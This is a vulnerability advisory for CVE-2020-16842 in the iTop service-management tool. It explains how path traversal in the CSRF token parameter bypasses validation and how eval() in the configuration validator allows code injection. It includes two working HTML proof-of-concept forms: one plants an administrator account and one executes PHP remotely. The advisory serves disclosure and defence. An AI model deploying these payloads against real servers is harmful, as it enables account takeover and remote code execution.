[CVE-2020-16842] CSRF protection bypass in iTop
iTop (ITSM & CMDB) is a complete open source, ITIL, web based service management tool including a fully customizable CMDB, a helpdesk system and a document management tool. It is developed by Combodo. We found a bypass to the CSRF function, which could be used to create a new administrator account or execute code remotely through a variation of the `CVE-2018-10642` vulnerability (when an administrator account is targeted).Description
iTop (ITSM & CMDB) is a complete open source, ITIL, web based service management tool including a fully customizable CMDB, a helpdesk system and a document management tool.
It is developed by Combodo and hosted on GitHub
We found a bypass to the CSRF function, which could be used to create a new administrator account or execute code remotely through a variation of the CVE-2018-10642
vulnerability (when an administrator account is targeted).
Threat
iTop does not correctly validate the HTTP parameter transaction_id
which is used as a CSRF token through the application.
If iTop is configured to use the class privUiTransactionFile
to store these tokens as files on the filesystem (which is the default behavior on a fresh install), the attacker can use a path traversal technique to point the parameter to a file that exists, thus entirely bypassing the verification.
Expectation
iTop should sanitize the transaction_id
HTTP parameter so that tampering with it results in an error.
It should be noted that a method exists to sanitize the parameter (utils::Sanitize
) , but because of a programming error (missing switch case), the verification is never performed.
This method is also not used everywhere as it should.
CVE ID: CVE-2020-16842
Access Vector: network
Security Risk: high
Vulnerability: CWE-23, CWE-94, CWE-352, CWE-1023
CVSS Base Score: 9.6
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Details
In the file web/application/transaction.class.inc.php
, the transaction_id
parameter is not effectively validated and is vulnerable to a path traversal attack.
/**
* Check whether a transaction is valid or not and (optionally) remove the valid transaction from
* the session so that another call to IsTransactionValid for the same transaction id
* will return false
* @param int $id Identifier of the transaction, as returned by GetNewTransactionId
* @param bool $bRemoveTransaction True if the transaction must be removed
* @return bool True if the transaction is valid, false otherwise
*/
public static function IsTransactionValid($id, $bRemoveTransaction = true)
{
$sFilepath = APPROOT.'data/transactions/'.$id;
clearstatcache(true, $sFilepath);
$bResult = file_exists($sFilepath);
if ($bResult) {
[......]
return $bResult;
If we provide it with an existing, writable known file (for example ../../web.config), the check returns as true and the file is deleted.
POC 1 : Adding an administrator account
This PoC adds a new iTop administrator account with the following credentials : admin-CVE:Azerty123!
.
The only requirement is that one of the current administrators has to visit a malicious website hosting this PoC.
Steps :
- Host the malicious PoC on a website
- Trick an administrator into visiting the website
- Done
<form action="http://<ITOP_URL>/pages/UI.php" method="post">
<input type="hidden" name="operation" value="apply_new" />
<input type="text" name="attr_login" value="admin-CVE" />
<input type="password" name="attr_password[value]" value="Azerty123!" />
<input type="password" name="attr_password[confirm]" value="Azerty123!" />
<input type="hidden" name="attr_password[changed]" value="1" />
<input type="hidden" name="attr_expiration" value="never_expire" />
<input type="hidden" name="attr_password_renewed_date" value="" />
<input type="hidden" name="attr_language" value="EN US" />
<input type="hidden" name="attr_status" value="enabled" />
<input type="hidden" name="attr_profile_list_tbc" value='[{"formPrefix":"2_profile_list","attr_2_profile_listprofileid":1,"attr_2_profile_listreason":""}]' />
<input type="hidden" name="class" value="UserLocal" />
<input type="hidden" name="transaction_id" value="../../web.config" />
<input type="hidden" name="c[menu]" value="UserAccountsMenu" />
<input value="Create admin account" id="btn1" type="submit" />
</form>
POC 2 : Remote code injection
The function iTopConfigSyntaxValidator::Validate
uses the dangerous function eval()
to validate the syntax of the new configuration file (which is in PHP).
The vulnerability is present because the posted code is evaluated as-is, with a single and weak verification (encapsuling the code in a if (0) { [..CODE...] }
block).
By closing the brackets of the block, we can execute any PHP code we want.
public function Validate($sRawConfig)
{
try
{
ini_set('display_errors', 1);
ob_start();
// in PHP < 7.0.0 syntax errors are in output
// in PHP >= 7.0.0 syntax errors are thrown as Error
$sConfig = preg_replace(array('#^\s*<\?php#', '#\?>\s*$#'), '', $sRawConfig);
eval('if(0){'.trim($sConfig).'}');
[.......]
This PoC executes the function phpinfo()
on the remote server. It would be trivial to modify it to a reverse shell for example.
Steps :
- Host the malicious PoC on a website
- Trick an administrator into visiting the website
- Done
<form action="http://<ITOP_URL>/pages/exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor" method="post" id="main">
<input type="hidden" name="operation" value="save" />
<!-- CSRF bypass, exploits privUiTransactionFile. Any file iTop can access AND delete -->
<input type="hidden" name="transaction_id" value="../../web.config" />
<!-- Any value, does not matter -->
<input type="hidden" name="prev_config" value="1" />
<!-- PHP code to execute. Whitespaces must be conserved in the request -->
<input type="hidden" name="new_config" value="<?php
}phpinfo();?>//"
/>
<input value="RCE" id="btn" type="submit" />
</form>
Affected versions
Versions prior to 2.7.1
Solution
Update to 2.7.2+
Timeline
- 2020-07-02 Initial discovery
- 2020-08-03 First e-mail contact
- 2020-08-06 Sent all details to vendor contact
- 2020-12-11 Disclosure
Credits
- Bertrand Nancy